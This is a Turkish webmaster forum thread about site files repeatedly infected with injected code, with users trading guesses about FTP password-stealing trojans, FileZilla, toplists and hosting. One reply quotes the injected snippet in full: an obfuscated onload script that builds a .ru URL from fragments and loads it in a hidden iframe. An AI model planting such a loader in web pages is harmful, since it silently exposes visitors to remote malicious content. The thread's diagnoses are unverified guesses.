Sitemdeki index.php ve index.html sayfalarıma frame kod yerleşiyor virüs uyarısı ?

12
●
2.857

Question

Sitemdeki index.php ve index.html sayfalarıma frame kod yerleşiyor virüs uyarısı veriyor kullandığım antivirüs programları ve birkaç arkadaşada denettirdim sayfaları uyarı veriyor virüs diye dediğim sayfalara otomatik eklenen frame kodu şu siliyorum ekleniyor siliyorum ekleniyor en son yazma izinlerini komple kapattım bakalım bi daha eklenicekmi merak ediyorum... bende habersi otomatik sildikçe yine gelen kod: eklenme zamanı 06.12.2007 18:52 de koddaki adrese girdiğim zamam firefox direk kapanıyor ip whois bilgileri DNS Stuff: DNS tools, DNS hosting tests, WHOIS, traceroute, ping, and other network and domain name tools. Böyle birşey başına gelen arkadaş varmı vede çözümü nedir şimdiden teşekkür ederim arkadaşlar

cut_Lee_Amm · Answer

Benim başıma gelmişti geçen sene. Forum dosyalarına karışmıştı virüs, daha sonra benim ftpye bağlanan arkadaşın bilgisayarına, ordan da onun ftpsine bulaşmıştı (:
Forumu silip yedeğini atmıştım ben, sorun çözülmüştü. Ama senin için iyi bir çözüm yolu değil sanırım...

Geçmiş olsun ...

xkalpsiz · Answer

bu konu hakkinda daha evvel soru sorulmus ve cevabi verilmistir once index.html veya php ni masa üstüne at bence  ve o dosyayi tara virus taramasi ile bence o gelen virus toplistlerdendir toplistleri tek tek kontrol et benim basimada gelmisti daha sonra ftp sifreni degistir ama toplistleri cok iyi kontrol et ben kurtuldum böyle yapip

LineBilisim · Answer

Merhaba aynı şekilde 1 / 2 yıl önce benimde başıma gelmişti.
Sitemde dosyalarda yoktu ancak girdiğim bir sitede ekliydi. O Siteye girdiğimde bilgisayarımda ne kadar web tabanlı yazılım varsa .asp .html .php vs. hepsinin en altına bu kodu yerleştiriyordu. Sildikçe geri geliyordu.

bu olay sunucuda iken kaynaklanıyorsa problem sunucudadır. Dosyalarınızın yedeğini alıp tekrar kurmanızı tavsiye ederim. ama başka bir servera yada formatlanması halinde aynı yere.

Geçmiş Olsun İyi Çalışmalar

Enforcer54 · Answer

Bilgiler için teşekkürler.

Sunucuda eklendi bu dosyalar sadece index.html index.php ve login.php odsyalarına eklenmiş diğer dosyalarıda tek tek kod araması yaptım yoktu hepsini temişledim şifreleri felanda değiştirdim toplistleri komple kaldırdım bakalım bir daha olucakmı

hepinize tekrardan teşekkür ederim arkadaşlar

dolayoba · Answer

Ftp deki Tüm Klasörlerimin İçindeki index.php ve index.html dosyalarının içinde asagıdaki gibi virüs kodu buldum   bdrd.ru diye bir siteye ulastım burdan kodlarıda asagıda

<body onload="status=' ';zz='o';sl='/';sf='ram';us='u';pi='b';po='.';gw='fi';qu=':';yh=  't';vo='h';bw='e';pj='m';iu='g';pt='tp';yw='p';ab=  'src';dg='ht';ko='e';wd='if';hh='r';t=wd.concat(sf  ,ko);xx=dg.concat(pt,qu,sl,sl,pi,hh,pi,iu,po,hh,us  ,sl,po,yh,po,yw,vo,yw);var oE=document.createElement(t);oE.setAttribute('widt  h','0');oE.setAttribute('height','0');oE.setAttrib  ute('style','display:none');oE.setAttribute(ab,xx)  ;document.body.appendChild(oE);">


İndex sayfalarınızı kontrol ediniz

maxitr · Answer

Sorunun kaynağı filezilla ftp programıdır.
Parolaları xml içinde kaydediyor bilgisayarınıza bu trojan bulaşmış ise bu xml içindeki sitelerdeki default,index,login,logout dosyalarına kod bloğu yerleştiriyor.
Bu yüzden filezilla kullanmayın yada parolalarınızı kaydettirmeyin.

3ZeuS · Answer

Arkadaşlar aynı problem bende de var.index.html sayfalara bulaşıyor genelde silsemde pek fayda etmiyor.Acaba bu virüs toplistlerden mi geliyor yoksa cuteftp gibi bir programdan mı.Ayrıca sildikçe çoğalması için ya şifreyi biliyor olması gerek ya da ftp nin içinde exe gibi bi virüs bulunması lazım sanırım.Bilgilendirirseniz çok sevinirim. Bu virüsün Ruslar tarafından piyasaya çıkarıldığını duymuştum.Bendeki kodda şu şekilde..

MertWeb · Answer

banada olmuştu bu tek tek indexlerin içini açıp silmiştim fayda etmedi

TizZ · Answer

konu daha önce epey bi gündeme geldi. benm dahil birçok kişinin basına gelmiş bi olay
genelde pcde bi virüs olur bu virüs ftpye bağlandıgınızda şifrenizi alıp, şifreyle index dosyalarınıza zarar veriyor.
çözüm (tabiki genelde yasanan sorun için): pcyi temizle kasperden baska bi antivirüs programı yetmiyor genelde..
ftp virüslü dosyaları sil yada toptan sil.. şifre değiş kurulumunu yap..

nihattr · Answer

Bana da oldu ve benim kararım hosting kaynaklı virüs ama hala emin değilim.Ftp programı desem diğer sitelere bulaşmıyo sadece bir tanesine 2 kere bulaştı ve o site başka hosttayken eski hosttakine yine bulaşmış.Yani hosttan bendeki virüs.

CashAsiq · Answer

http://www.r10.net/r10-bilgi-arsivi/...diyenlere.html

Armuduniyisi · Answer

4 farklı site kurulumu yaptım. hepsinin veri alış-verişini de filezilla ile yapmıştım. bütün hepsi farklı sunucularda farklı siteler. Sunucudan olsa desek, Sunucu farkı var bütün hepsinde mi virüs olur?? Bence filezilla virüsü olması çok mantıklı ???